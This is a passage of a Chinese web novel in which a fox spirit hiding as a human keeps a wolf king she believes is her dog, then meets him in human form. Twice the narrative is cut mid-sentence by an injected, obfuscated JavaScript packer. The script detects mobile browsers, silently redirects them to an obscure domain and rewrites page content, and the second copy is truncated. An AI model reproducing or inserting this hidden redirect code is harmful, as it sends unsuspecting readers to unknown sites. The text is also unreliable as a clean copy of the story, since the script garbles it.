鸡精绿豆大的眼睛一亮,扑腾着翅膀抱大腿,对待胡淼淼的态度十分殷勤。 一定是狐狸祖宗实力不凡,战胜了那个凶残的人,保住了它的性命! 它鸡大妖发誓,一定为狐狸祖宗马首是瞻,狐狸有这实力,别说是人了,就是那只狗也不敢在狐狸祖宗的眼皮子底下吃鸡。 鸡大妖想开了,屁颠屁颠地报位置。 其实在来之前,它就通过那些小精怪知道狼就在这里。 地上的那些死去的狐狸没人去管,胡淼淼记仇着呢,认出了那些狐狸是妖界的,根本不会去给他们收尸,绕着他们走。 可是找了一下午,别说是狗,一根狗毛都没见到,都不如回去坐等晚饭,至少有根毛。 她有些失落,开始怀疑鸡精消息的可信度。 鸡精急得扑腾翅膀,“鸟精妹妹就是这么说的,她说看见了狼往这边走了。” 胡淼淼蹬它:“让你找狗,你找什么狼?” 鸡精:“……” 虽然不知道狐狸为什么指狼为狗,但是祖宗这么做一定有她的道理。 它谄媚:“是是是,鸟精妹妹说狗往这边跑了。” 结果这边非但没有狗,反而有一个大魔头! 这一次,注定和往常一样无功而返,胡淼淼很是后悔当初的所作所为,如果不是怀疑狗子,就不会伤了它的心,让它离家出走。 因为白日里受到了惊吓,加上对狗的内疚,导致这一晚上胡淼淼失眠了。 她直到日上三竿才从床上爬起来,端着狗积攒下来的破盆之一,无精打采的洗漱,望了望外面的天色,今日天气也不好,阴沉沉的,零零星星飘荡着小雪,如同一朵朵雪白的花瓣坠入泥土,染上了尘埃,转瞬就融化了。 天暖了,狗却不会再回来了。 胡淼淼在洞口伫立许久,拉上了门帘,回去补觉。 剩下的一段时间里,胡淼淼开始昼夜颠倒,晚上睡不着,白天起不来,像是被夜里的小妖精吸食了精气,整个狐狸都蔫了吧唧,也错过了饭点。 君泽琛那日看见胡淼淼了。 之所以没和她相认,一是心里有气。 二是他杀了满地狐狸,胆小的人类怕是要害怕他的人形了,他没想第一次见面会让她看见自己凶残的一幕,更没想过有朝一日,一代狼王,会堕落得和阴沟老鼠一样躲在暗处,阴暗地窥视一个人类。 三是他杀完狐狸妖力不足维持人形,不想当着她的面变成本体。 畏惧的种子扎根在心里。 他竟然在害怕。 怕她知道他是狼妖。 怕她知道后,一切再也回不到最初…… 这一次,轮到君泽琛趴树丛了。 他躲在山洞附近的树林里,庞大的狼躯憋屈地匍匐在地,仿若一只潜伏在暗处,等待猎物上门的野兽,一双狭长的狼瞳紧紧注视着咕咚咚煮熟的山鸡。 她已经三天没吃饭了。 鸡汤凉了再热,热了又凉,斗转星移,因为煮了太久所以柴柴的肉进了狼肚子,山洞里的人类还是没有出来进食。 传闻中,人类是一种脆弱的生物,冻到了会感冒,热到了会昏倒,吃到不新鲜的食物还会胃痛,不过是看见他杀狐狸,就吓得吃不下饭了? 说好的修复内丹尽快回妖界,可还是忍不住留意人类的动静。 高大的狼眉宇略微烦躁。 麻烦的人类! 狐狸精都没人类麻烦,至少狐狸随手就捏死了,叫胡淼淼的人类不能捏死。 君泽琛徘徊了一整日,到了晚上胡淼淼依旧没有出来,终于,他站直了身躯,抖了抖沉重的毛发,迈着别扭的步子走过去,路过鸡窝的时候,状似不经意扫过其中一只鸡。 那只鸡很特别,其他鸡的眼神呆呆的,而这只鸡的绿豆眼清澈而愚蠢,虽然不太聪明的样子,但多多少少有几分灵性。 莫不是要成精了? 君泽琛深刻记得,昨天胡淼淼都害怕成那样子了,竟然还死死抱着这只山鸡。 他视线在山鸡的黑色上停顿几秒。 忽然茅塞顿开。 这鸡不过是有几分像他罢了。 难怪那个女人会一直抱着山鸡不撒手,他离开的这几日,她应该是知道错了的。 心里的阴郁仿佛阳光驱散了黎明的雾气,穿透云层普照大地,让这些天的不友好心情一扫而空。 君泽琛不再看山鸡,心想着明早就吃这一只,甩着尾巴进了多日未归的家。 和离别前一样,山洞内打扫得整洁,只有一张石床,一个狗窝,以及一个破旧的衣架,挂着两件换洗的衣服。 都很旧了。 都要换一换,别的姑娘日日花枝招展,光鲜亮丽,只有家里这个不争气的,整日不知享福,只要吃得饱,穿得暖就得过且过。 君泽琛当狼王那会儿,最注重自己的领域,寝殿内地毯都是用虎皮铺的,桌子都是镶宝石的,何时过的这般清贫过? 狼王蹲在床前,盯着床上隆起的小包,思绪逐渐飘远,一会不悦天刚黑胡淼淼怎么睡得着,一会儿不满,她不吃饭怎么睡得着? 被子破成这样,她怎么睡得着? 没有他,她怎么睡得着? 君泽琛板着一张“阴险歹毒”的狼脸,怨气都要溢出来了,然而,就在他紧盯着不放的时候,床上的人突然暴起,一个猛扑,用被子捕捉到他。 君泽琛一愣。 胡淼淼生怕他跑了,恨不得整个人化身为大山压死这只狗,一边压,一边控诉:“你还知道回来?我以为你死外面了呢!” 狗虽然离家出走了,但她的生活里全是狗留下的影子,狗毛都收集一把了,愣是逮不住它。 胡淼淼又气又恼:“跑啊,有本事你继续跑,山里来了个大魔头,你落到他手里,狗皮给你剥了。” 大魔头? 比他强大吗? 狼王面无表情,紧接着越听越不对劲。 她说,山里来了一个大魔头,模样凶狠,三头六臂,一拳能打死十条狗。 她说,昨天碰见那魔头了,魔头脚底下全是狐狸的尸体,魔头杀人如麻,连小动物都不放过,狗路过都得被他踩两脚。 她说,如果不是她跑得快,早就被那魔头抓去剥皮拆骨了。 她一张小嘴嘚啵嘚,谣言就此产生了。 狼王真佩服自己成熟了,但凡他以前的脾气,这女人真该被剥皮拆骨了。 眼下,他深呼一口气,从被子里窜出一个毛绒绒的脑袋,狼爪子一伸,一按,肉垫捂住了女人制造谣言的嘴。 世界终于安静了。 一抬头,发现,胡淼淼白净的脸上湿润一片,眼睛红彤彤的,哭得有一会了。 她说:“对不起,我不该误会你是大坏蛋。” 其实,君泽琛确实是一个彻头彻尾的大坏蛋。 但君泽琛没惹她。 是胡淼淼自己把自己说哭了。 她吸了吸鼻子,道歉后絮絮叨叨数落他的罪行 ,君泽琛的爪子粗糙,又不敢太用力弄伤她,根本没办法捂住她的嘴,一对儿狼耳越来越低,最终叠成了飞机耳,试图屏蔽她的音波攻击。 胡淼淼在后怕,干脆用被子把狗包裹起来,打了个死结,“以后你哪也别想去,就在我身边乖乖待着,不然要你好看。” 她做出凶巴巴的表情,可惜对君泽琛没有半点杀伤力。 要知道在狼族那种弱肉强食的环境,狼是不会把时间浪费在说话上,他们有问题都是直接用行动表明,不给对方说话的时间,就已经咬破对方的喉咙了 。 能杀到狼王的位置,用绝对实力镇压狼族,君泽琛再重的伤都受过,就算是胡淼淼上来打他一巴掌,他都不痛不痒。 至于哪也别想去这种孩子话,君泽琛根本不放在心上,更不会被一个小小人类捆住。 他假装不在意地别开脑袋,不去看胡淼淼红肿的眼睛,用狼爪随意拍拍她的眼尾,算是给她擦眼泪了。 胡淼淼的声音戛然而止,捏住他不老实的狼爪,“你多少天没洗澡了?” 君泽琛:“……” “你还往我脸上踩?” 君泽琛:“……” “天,怎么有你这种不爱干净的狗。” “……” 搁这埋汰谁呢? 他每天都有用清洁术! 但是爪子踩在地上难免会脏一些,胡淼淼认为,他离开家这段时间就是没有洗澡! 胡淼淼没有洁癖,在狐族更惨的时候是被其他狐族拔光了狐狸毛,丢到泥潭里,能活下来就不错了,怎么会在意这些? 可是,那句话怎么说的来着,狐狸的词库不多,她想,应该是这句吧。 当一个狐没见过光明,就会一条道走到黑。 当见到光明之后,就无法去适应黑暗了。 条件有限的时候,她可以不在意。 如今她“家大业大”,能养活一条狗了,当然要把狗打扮得香喷喷,干干净净的。 她不允许她的狗狗邋遢。 见她眉眼坚定,似做了什么重大决定的模样,君泽琛产生一种不太妙的预感。 事实证明,狼的预感是不会错的 ,半炷香后,他麻木着脸趴在原地。 洞口,胡淼淼正在起锅烧水。 她怕他跑了,没有带他去河边洗澡,而是打算在家里洗。 从胡淼淼的角度,好狗只是一只狗,不是人,也不是妖精,思想智力都不高,洗澡没什么的 。 而站在君泽琛的角度,就是叫做胡淼淼的这个人类在对他耍流氓。 人类,一点边界感都没有。 是什么给她一种,他回来,就是和好了,乖乖任由她摆布的错觉? 狼王大人不吃这一套,堂而皇之挣脱了人类给他的束缚。 胡淼淼正在烧水,忽然感觉眼前一黑,什么玩意儿呲溜的一下窜了出去。 一抬头,便见某狗潇洒离去的背影。 遭! 狗又要离家出走了! 胡淼淼顾不得那么多,让鸡精看住柴火,自己抄家伙,提着一样东西就冲了出去。 她焦急万分,在后面不敢太大声地喊:“快回来,小心被那魔头把你抓去。” 魔头? 君泽琛心里嗤笑一声,她知不知道追的是谁? 笨笨的。 胡淼淼觉得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16031707|178656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他们你追我赶的一幕有些熟悉,在前不久,她狼狈地被好狗追着跑。 现在反过来了。 好在他没跑多远 ,小狐狸累得气喘吁吁,嘴里还嚷嚷着要把狗绑回家。 未曾想,定睛一看,冬末溪水融化,狗一头扎进了水中,浮毛飘荡在水面,正冷冷地注视着她的手。 一条细细的铁链被她攥在手里,是刚开始闹妖怪的那段时间,周舟放着她家的,他说,如果想去村里面生活,可以把狗拴住。 胡淼淼一直把好狗当作家人,从未考虑过用铁链拴好狗身上,这次是真的急了,才会拿出来。 她有些心虚,偷偷往身后藏了藏,瓮声瓮气:“你早说你要洗澡嘛。” 还怪起他来了。 君泽琛抖了抖湿漉漉的耳朵,在水里爬了一圈,靠近溪边的时候突然窜出来,报复性地抖了胡淼淼一身水。 胡淼淼:“……” 过分! -- 狗没有再离家出走,不过一狗一狐还在暗中较劲儿。 胡淼淼收拾好行李,打算第二天和好狗离开这座山,去往更安全的地方 。 可是第二天一早,她的行李被拆开了,好狗那么一大坨狗在上面趴着,明明没有人形的胡淼淼高,愣是给人一种睥睨她的错觉。 胡淼淼有些生气:“你干嘛弄乱我的行李。” 狗子竖着耳朵不说话,油盐不进的模样,胡淼淼试图从他的吨位下拽出衣服,无奈狗子太沉重,胡淼淼使劲儿半天,狗子屁股都没挪一下,甚至还扯了扯嘴角,无声嘲笑弱小的人类。 胡淼淼气得脸通红,蹬它一眼:“以后魔头杀过来,你就等死吧。” 她扭头就走,并没有看见狗子眼底一闪而过的复杂情绪。 她,似乎很讨厌他的人形。 狼的眉头一蹙,锋利的狼瞳眯了眯,似在思索些什么。 这可不行…… —— 胳膊拧不过大腿,胡淼淼大早上生闷气,闷闷不乐地去准备早饭,结果又和狗吵了一架。 原因无他,她想随便弄点吃的算了。 狗却要杀鸡。 杀其他鸡就算了,竟然要杀鸡大妖! 山鸡精既然会说话,就是山中的精怪,就算是在狐狸食谱上,不到迫不得已,狐狸是不会吃的。 这和人吃人,妖吃妖没什么区别。 狗不知道鸡精是妖怪,胡淼淼可以理解,刚开始还耐着性子商量:“换一只吧,这只山鸡再养养。” 狗子沉默不语,只是一味地杀鸡。 鸡大妖又不傻,怎么可能任由他杀? 它翅膀鸡爪齐上阵,努力扑腾脱离狼的魔爪,可是它一个小鸡精,哪里会是妖界狼王的对手,没扑腾两下就被狼按在了黑山竹爪下。 这姿势有点眼熟。 但它来不及细想,哭哭啼啼,扯着公鸡嗓大喊:“狐狸祖宗救命!!!” 一句狐狸祖宗,成功控住了两个人。 无论是胡淼淼还是君泽琛都惊了一下。 君泽琛下意识扫过四周,这几天整个山中的狐狸都被他杀得差不多了,难不成又来新狐狸精了? 胡淼淼艰难地吞了吞口水,也小心翼翼观察,惊魂未定,幸好,附近并没有其他人类,不然她的身份就暴露了。 她恼:“哪有什么狐狸祖宗,要是真遇见狐狸祖宗,你一个野鸡,等死吧。” 臭山鸡,嘴里没有一个把门儿的。 山鸡也意识到自己情急之下把不该说的秃噜出去了,它颤颤巍巍: “你快管管这狗!” 原本,君泽琛打算将这只碍眼鸡精一爪子踩死,煮了给胡淼淼补补。 鸡精,大补! 不过,一从鸡精嘴里听见狐狸两个字,他就像是开启了雷达模式,一双毛茸茸的狼耳朵高高竖起,尖锐的爪子从肉垫里伸出来,死死按住它。 他认为,这只鸡是狐狸精派来的卧底。 很好,那些狡猾的狐狸竟然知道他是狼妖了,并且把注意打在了他家人身上。 君泽琛苍绿色的眼底幽深恐怖,极具压迫力地凝视鸡精,嘴里对胡淼淼汪了一声。 他的狗语不正宗,可是长期陪伴,胡淼淼能知道他的大概意思。 他在催促她离开。 “你别想背着我杀鸡。”胡淼淼按住君泽琛的狼脑袋,推推他。 “汪?”鸡都说话了,你不害怕? 君泽琛按住山鸡不撒爪,胡淼淼还是拿他没办法,于是蹲下来,和他商量,“好狗啊,如果你是和我较劲儿,但不能伤及无辜之鸡,你都能听得懂人话,它说人话也不稀奇。” 有时候胡淼淼也是挺矛盾的,明明胆小得要命,却不怕鸡说话,也不怕鸡成为妖。 怎么到他这就一口一个大魔头? 黑狼嘴角扯了一下。 他的狼形黑色的,却不会给人一种普通感。 浑身毛发黑亮蓬松,四肢极具力量,眼睛狭长隐藏危险的锋芒,眼尾两侧有蔓延到耳朵下的银色纹路,爪腕上也有不易察觉,护腕一样的图腾。 养了一个冬天,胡淼淼见证它从虚弱到强大,有时候瞅着很陌生,怀疑它真的是一只狗吗? 每每这样怀疑的时候,她都会看他翘起来尾巴尖。 狼族是狐族的天敌,哪怕她没读过多少典籍,没见过狼,也听说狼和狗的区别。 狗的尾巴是翘的。 狼的尾巴是垂直向下的。 她再次坚信了自己不会认错。 胡淼淼仿佛没看见好狗讥讽的表情,蹲下来和他四目相对。 “松开,好不好?” 狐族都是妖媚的长相,胡淼淼天生异类,硬生生长成了清雅灵秀的纯净模样。 唯有那双矛盾的狐狸眼,纯情而魅惑,惯会蛊惑人心。 狼摇晃了一下脑袋,侧过脸去,爪子别扭地搓了搓鸡脖,突然觉得一切都索然无味了。 算了,一只鸡而已,犯不着为了一只鸡惹她生气。 狼王自认为心胸宽广,不和渺小的鸡精一般见识,更何况…… 鸡精是狐狸派来的,兴许还能从鸡精的嘴里套话。 他大发慈悲松开爪子。 鸡精立即逃走,鸡毛飞了一地,胡淼淼算是捋清了。 狗,得顺毛摸。 她眼珠子一转,弯了弯,凑到狗面前,小声商量:“我们搬个家呗?” 一张绝美的容颜,就这么明晃晃的再次霸占了君泽琛的视野。 有些狐,天生就会持美行凶的。 8. 第 8 章 山中有魔头,胆小的狐狸多次劝说狗子搬家,未果! 这一次,胡淼淼以为无望了 。 然而 ,不知好狗怎么了,竟然盯了她半晌,奇迹般的点头了。 胡淼淼满腹草稿无用武之地,傻兮兮的重复了一句:“真搬家? ” 狗不厌其烦地点头,并汪了一声,主动帮忙整理行李。 他们的行李没多少,也就胡淼淼的两三件儿衣服,和狗子的锅碗瓢盆,以及外面吃剩下的山鸡。 鸡精跑了之后,竟然敢回来,在草丛里瞪着死鸡眼看了又看,像是下定了某种决心,无视狼王压迫的死亡凝视,嚷嚷着要和胡淼淼一起下山。 开玩笑 ,山里那么多妖怪出没,最近还有杀妖不眨眼的魔头,借给鸡大妖十个胆子,也不敢自己单过啊 。 它必须跟靠山走 。 以至于差点再次遭到狗子的暗杀,但碍于不想惹胡淼淼生气,君泽琛只能短暂地隐忍杀机。 他主动驮着行李,并示意胡淼淼跟在他身后,一副稳操胜券,早已找到住处的模样。 胡淼淼有些好奇,好狗为什么突然妥协,又是什么时候寻找好的住处。 直到山下的景色越来越眼熟,放眼望去,遥遥看见一处人家,古朴的栅栏围绕在土墙之上,三三两两的村民正在聊天,看见胡淼淼的时候笑道:“淼淼啊,你终于想开了,山里有什么好,还是要到山下来,人多,热闹,也安全。” 他们仿佛早就料到了胡淼淼会下山,关键胡淼淼就算是想搬家,也想离这里远远的啊 ,毕竟没人能保证,山里的魔头不下山。 后来,胡淼淼才知道,原是家里出现了内鬼,这只“内鬼”三天两头跑下山。 刚开始村里人不知道是谁家的狗。 长得怪凶的,模样不好惹。 后来是兽医看见了,声称是胡淼淼家的狗。 村里嘛,闲来没事儿家长里短,路过的狗都得身败名裂,当然了,并不是说他们故意的,有什么坏心思,可能顺嘴就说了,一来二去,都知道,山里有个漂亮姑娘曾经为了狗不肯下山,硬生生捱过了冬季。 这两天狗下山,必定是姑娘想开 了。 就是嘛,人都是群居的,怎么可能耐得住寂寞。 有了狗子推波助澜,胡淼淼下山理所应当,还很快就找到了住处。 山里的生活不好过,很多年轻人都去镇里打拼,房子自然也就空下了。 胡淼淼只是找了一个小的房子短暂居住。 她不打算一直在日落村,因为,这里有一个捉妖师。 夜里,她和狗子吩咐:“这两天不要乱跑,明日一早,我去镇子里看看能不能寻个住处。” “最好能够维持生活。” 入乡随俗,小狐狸决定,要在躲避狐族的同时,赚点钱补给一下家用,总不能让没成精的狗养她吧? 狐狸做了决定,第二日就出发了,然而事情并不顺利,一来是镇子上的活少,她又什么都不会,更不懂什么人情世故,端盘子端碗人家都要掂量掂量她的小身板。 更何况她的容貌出众,很容易引起别人的注意力,会制造一些小麻烦。 一天下来,活没找到,反而是回来的路上被人围堵了。 “小娘子,这是要去哪啊 ?你不是要找活吗?我们少爷这就有一个差事,正好需要你这种年轻,漂亮的。” 他们的目光粘稠,不怀好意,胡淼淼不是三岁小孩子 ,就算处世未深,也知道他们并不是真的想帮助她。 她眼底闪过一抹厌恶和纠结。 人类,脆弱,只要她露个耳朵,露个尾巴,就能轻易吓跑。 可他们跑掉后呢? 会不会嚷嚷着找捉妖师抓她? 麻烦更多了。 如果不露出妖族特征,她还真打不过那些人类。 说到底,她也只是一个刚成年的小狐妖而已,除了压住妖族特征,就什么都不行了。 妖族,并没有人类想象中的那么可怕。 他们的寿命漫长,成长过程也是漫长的,像她这种活了十几年的狐狸,能变化成人,都是靠着血脉,并非靠着自己修炼。 很多精怪,即便是修炼几十年,几百年,也未必幻化成人形。 她如果用妖力,就没有力量隐藏尾巴了。 就在胡淼淼愁眉不展之际,一声声惨叫在耳边炸响,她一激灵,原本嚣张至极,打算靠近的人,横七竖八倒了一地,痛苦地呻吟,而一个熟悉的身影,就这样伫立在其中。 男人强健的身躯被黑衣包裹,上面绣着诡异的银纹,他脖子上,手腕上,以及腰间,都挂着银色饰品,一张狂放的面容,眉弓压眼,鼻梁挺拔如山,满脸的桀骜 ,透着一股子炸天炸地的凶狠劲儿。 被他注视,就等于被洪水猛兽盯上了,仿佛下一秒就要挨揍。 是他。 胡淼淼心提到嗓子眼,狐目瞪溜圆。 神秘大魔头! 上次见面是满地狐狸尸体,这一次见面是满地人在哀嚎。 上次见面,她藏在木丛里面,有机会存活。 这一次见面,她明晃晃地站在他面前,与他遥遥相望。 就算当场找一个地缝钻进去,也闪躲不及时了。 她嗷呜一声,怂唧唧的挪动脚步,思考逃跑的可能性。 可还不等胡淼淼有所动作,男人动了。 他的步伐缓慢沉稳,明明很慢,却又像是快的留下了残影,眨眼间就出现在了她面前,犹如一座跨不过的高山,投下黑沉压抑的身影,将渺小的她笼罩。 她周身汗毛炸起,下意识捂住了脸。 意料中的疼痛没有传来,她认为的大魔头也没有对她乱杀。 而是在耳畔,响起低沉、肃穆、让人难以忘怀的嗓音。 “胡淼淼?” “啊?”胡淼淼狐躯一震,慢半拍地分开手指,透过指缝,小心翼翼地仰头偷看。 近距离的他,逆着光,五官锋利,看起来更凶了,而且好大的一只,从她仰头的角度,只能看见他的那截棱角分明的下颌,以及修长的脖颈。 他并不是很白,肤色均匀的健康色,暴露在外界的脖子,仿佛都有青筋鼓起,爆发力很强,胡淼淼很害怕被他打扁。 她偷瞄的视线被男人捕捉到,他知晓胆小鬼又在害怕了,刻意舒缓眉宇,试图缓解她的情绪,嗓音压到最低,最柔,“不要怕我。” 可是 ,就像是狐狸天生蛊惑人心一样,某些狼,天生就是侵略者,哪怕再怎么伪装,依旧改变不了本能的嗜血和阴戾。 君泽琛在狼族一直板着脸,冷漠刻在了骨子里,冷不丁做出其他表情,反而刻板古怪。 听到了胡淼淼耳朵里,就是恶魔低语,自动翻译成了:敢怕我就把你砸成狐饼。 她嘤了一声,绝望地捂着脸,颤巍巍:“你……只是长得吓人而已,其实不可怕。” 早知今日,她就应该多学习一些人类赞美的语言,遇见这种难搞的,一定死命的夸。 免得像现在,关键时刻,傻傻地不知道该说什么。 一开口,就把自己送到了地狱,气场都诡异了几分 空气冰冷凝滞许久,对方才慢条斯理地开口:“长得凶?” 男人宽厚有力的手掌覆盖住她的手腕,用力挪开,高大的身躯弯下,凑近到她眼前,薄唇刻薄地扯了扯,“有多凶?” “……” 有病,胡淼淼根本不认识他,更不知道为什么这位大魔头会有这种反应,问她这些无关紧要的问题。 难不成,这是一个自恋的魔头? 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16031708|178656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >也难怪,不自恋的话,正常的人也不会像他这样把脸凑到陌生人面前炫耀。 胡淼淼刻意忽略心里的恐惧,别别扭扭,“其实细看,也没有那么凶,只是……长得……” 长得什么样? 胡淼淼紧张的小表情被君泽琛看在眼里,他在心里嗤笑,欺软怕硬的女人,平日里站在他的狼脑袋上作威作福,怎么遇见他的人形,就害怕成这样? 君泽琛是一头恶劣的狼,这一刻,控制不住想去欺负人,于是修长的手指抵住她的额头,像是随时能掀开她的头盖骨一样,直把人吓得满脸苍白,憋出一句:“长得惊心动魄。” 君泽琛:“……” 他眼睫低垂,从喉间挤出几个字:“谢谢,你也一样。” 惊心动魄。 她彷徨不安,再吓下去,就要哭了。 君泽琛屈指弹了一下,淡定地收回了手,负手而立,恢复了刚见面时候的冷淡,端着一股子睥睨天下的气场,冷声说:“我认识你,不要怕,我是日落村的人。” “日落村?” 地上的小蝼蚁早就在刚才就吓晕了。 西斜的夕阳染红了这方天地,他迈大步子,示意她跟上。 “你是人是妖?何时来的日落村。” 瞧着不像是日落村的本地人。 此魔头凶悍了得,样貌又出众,胡淼淼去过几次日落村,如果魔头是日落村的人,她见过就不会忘才对。 男人在回答妖还是人的问题上诡异地停顿了几秒,“近日来的。” 他的话不是很多,看着就不太好相处。 胡淼淼也不是真想了解她,只不过是顺嘴一问罢了,她一路上和猴挠心了似的,脑子疯狂运转想办法逃跑,最后用了最愚蠢的方式,噗通一声坐在了地上,对前面的人摆摆手。 “我脚好像崴了,你先自己回村吧。” 前方那高大的身影一顿,转过身,面无表情来到面前,一双狭长锋利的眼睛如同雷达,居高临下凝视她。 胡淼淼被看得心里毛毛的 ,左顾右看,“我休息一会就回去。” 谁知,男人伸手,单手将她薅了起来 。 两个人的体型相差巨大,他就像是提溜一只小鸡崽子,轻而易举把胡淼淼放在山上的一块干净的大石头上,自己单膝蹲下,宽厚的大掌捏住了她纤细的脚腕,作势要撩开裙摆。 胡淼淼瞠目结舌,一把按住他,又羞又急,“你干什么?” 她在心里指指点点,白瞎了一张杀人狂魔脸,原来也是个色胚子,上来就要掀裙子。 胡淼淼没有把心里话说出来,但是有什么心事藏不住事儿,连她自己都不知道,自己的小表情骂得贼脏。 君泽琛:“……” 他按住她的脚踝,冷声道:“不是崴脚了吗?” “啊?哦哦,对,崴脚了……”胡淼淼慢了半拍,“你是帮我看伤?” 男人睥她一眼:“不然?” 胡淼淼前不久刚说完山鸡精以小鸡之心度狗子之腹,这不,她也以小狐之心度魔头之腹了。 魔头看着就不像是好人,每次见面都躺一地乱七八糟的生物,胡淼淼很难不往他是坏人那边想。 更难以想象,这样的男人,竟然会帮她看腿。 她干巴巴地坐着,拘谨地揉弄着衣摆,歉意地低下脑袋,“对不起,是我想多了,我自己还是可以走的。” 他看起来凶巴巴的,可是像好人耶。 到底是年纪小的狐狸,轻而易举,就相信了大坏狼的话,并晕乎乎地道谢,谢谢他之前救过自己,发了个好人卡。 “你是个好人。” 君泽琛紧绷着嘴角,犬齿磨了磨,牙根有些痒,想咬她一口。 好一个恩将仇报的人类。 骂谁是好人呢? 9. 第 9 章 一个人能恐怖到什么程度? 一个脚印一个坑,浑身都散发着惊天动地的怨气以及板着一张晚爹脸,死不瞑目的怨鬼都没他戾气深。 自从胡淼淼夸赞对方是好人之后,这人就这样了。 没有人不喜欢夸夸,这个男人好奇怪呀。 胡淼淼弱小可怜又无助地跟着男厉鬼身后,深一脚浅一脚踩着他走过的脚印儿。 他说要背她。 她以男女授受不亲的话术婉拒,获得了对方一个意味深长的表情。 装崴脚的代价就是,不但没有从男人手里解脱,还要装模作样,三步一扭,五步一停,原本能在天黑之前到家的,硬生生拖到了天黑之后。 一路上,男人很君子,没有做出图谋不轨的举动,进村子就神出鬼没的消失了。 胡淼淼总算松口气,后知后觉地发现后背已经被汗水打湿了。 在胡淼淼回家的前一秒,君泽琛先一步跳窗户回来,房间内一只魁梧的黑狼正在地上沉睡 ,化为一根狼毛,静悄悄地飘走。 这是他用狼毛稍加妖术制造的分身,远远看上去就像是真狼,只不过因为他的妖丹尚未恢复,所以还是有一些瑕疵的 。 分身上没有温度,没有呼吸。 君泽琛变回原形,前一脚刚跳上狼窝,后一脚房门就被打开了。 胡淼淼耷拉着小脸,忧心忡忡地走进来,去隔壁洗漱回来,都不敢直视狼狗的眼睛,天色已晚,她闷不吭声躺回去,连门外的鸡精都能感知到它的情绪不对劲,在门外发出咯咯哒的鸡叫。 房内无人理会,君泽琛睁开幽深的狼眼,爬过去用爪子扒拉扒拉她的后背。 “嗷呜?” “我是不是很没用,连养活自己的能力都没有,将来怎么养活你啊。” 君泽琛深以为然,点了点头。 确实很没用,一个人类胆小鬼,连狼和狗都分不清。 甚至还骂他是好人。 君泽琛两辈子加起来,就没做过什么好事儿,顶多是让仇敌在死之前痛快点。 不过,狼不需要一个人类来养活,他养一个人类还是绰绰有余的。 于是,狼用肉垫扒拉她。 “嗷呜~” 虽然你胆子小,眼神不好使,人笨笨的,但是狼养你啊。 狼最近很少学狗叫了,胡淼淼也早就适应了家里的奇葩狗。 她“听懂”了君泽琛的安慰,转了个身,抱住他的脖子,用柔软的脸颊蹭了蹭他的狼毛。 “幸亏有你,你放心,我会尽快赚到钱,将来我们去镇上住大房子,买肉馅最大的大包子,再给你买新盆,新窝……” “不过,回来的路上我遇见大魔头了。” 狼的鼻尖不小心蹭在她的侧脸了,浑身一阵紧绷,耳朵却不受控制的竖起。 “汪?” 怎么样,魔头是不是不可怕了? 魔头是不是很威武? 他在胡淼淼的身前蜷缩了一下尾巴,腰板都挺直了。 胡淼淼没有注意这些细节,月色下,精致的脸蛋似被散落上了银光,漂亮得不像是凡人,只不过依旧难以抵挡眉宇间的忧愁。 “忘记问他名字了,今天回来的路上碰见了坏人,是他救了我,我觉得他可能没有我想象中的那么坏,他是个好人。” 君泽琛:“……” 都不如好狗好听,人类脆弱得要死,谁爱当谁当。 “就是不知道他为什么在日落村,而且我来村子这么久,不应该没听说过他这种人物。” 当然没听说过,因为这是君泽琛临时起意。 他不想胡淼淼怕他,便为自己编织一个身份。 杀了那么多狐狸,捉妖师的身份更合理,而且会更让人类有安全感。 胡淼淼确实没那么怕大魔头了,但是她又制造了新的谣言。 “我还觉得,他似乎人品有问题,初次见面就对我动手动脚,莫不是大色狼?” 君泽琛:“???” 他耳朵biu地一下炸成蒲公英。 “汪!!” 胡淼淼后面的话没说完,就被狼一爪子按回被窝,并用肉垫捂住她的嘴。 她莫名其妙,怎么了这是,怎么说急眼就急眼呢? 又没骂狗。 狗子心,海底针。 第二天早上胡淼淼出发的时候,狗子还在闷闷不乐地在狗窝里生气,并对她冷冷地刮上一眼,没错,就是那种睥睨一切的眼神。 把胡淼淼看舒坦了。 她就喜欢狗子这种眼神,不带任何让狐狸不舒服的冒犯,也没有其他雄性那样不检点。 这样她就放心了。 事实证明,她还是放心太早了,前脚刚出村子,就见村门口站着一个身材高大的男人。 他很大一只,在他身边能抵挡住一大部分阳光。 村里有两个出口,一个是上山的 ,一个则是去镇上的。 胡淼淼想要去镇里,就必须绕过男人。 她脚尖碾了碾地,没有找到地方钻进去,磨磨蹭蹭走过去打了一声招呼。 谁知男人的脸色比昨天更冷了,本就冷硬的面孔,印堂发黑,都能挤出水来。 他的身躯就堂而皇之挡在胡淼淼面前,居高临下看着胡淼淼,这种眼神……有点眼熟。 不等胡淼淼细想,男人紧绷着面容,薄唇吐出一句莫名其妙的话。 “我对你没兴趣。” 胡淼淼:“???” 君泽琛没再解释,侧了一下身体,让她过去。 胡淼淼拘谨地路过,冷不丁又听他说:“只有人类才会有龌龊的欲望。” 胡淼淼:“???” 她侧头看他一眼。 总觉得他在内涵什么,却又说不上来。 昨夜刚对大魔头有了少许改观。 虽然他可能是大色狼,但至少不是杀人狂魔。 但今天一看,这人在心虚。 小狐狸认为自己聪明着呢,坏人怎么可能在自己脸上写坏人两个字呢? 越坏的人,越会伪装。 她警惕地捂着领口,迅速跑远。 最后留给君泽琛的眼神……怎么说呢,有一种跳进黄河,把狼毛洗秃了,都洗不干净的感觉。 他阴郁了。 头顶仿佛有一个小乌云,乌云里面的闪电噼里啪啦地作响。 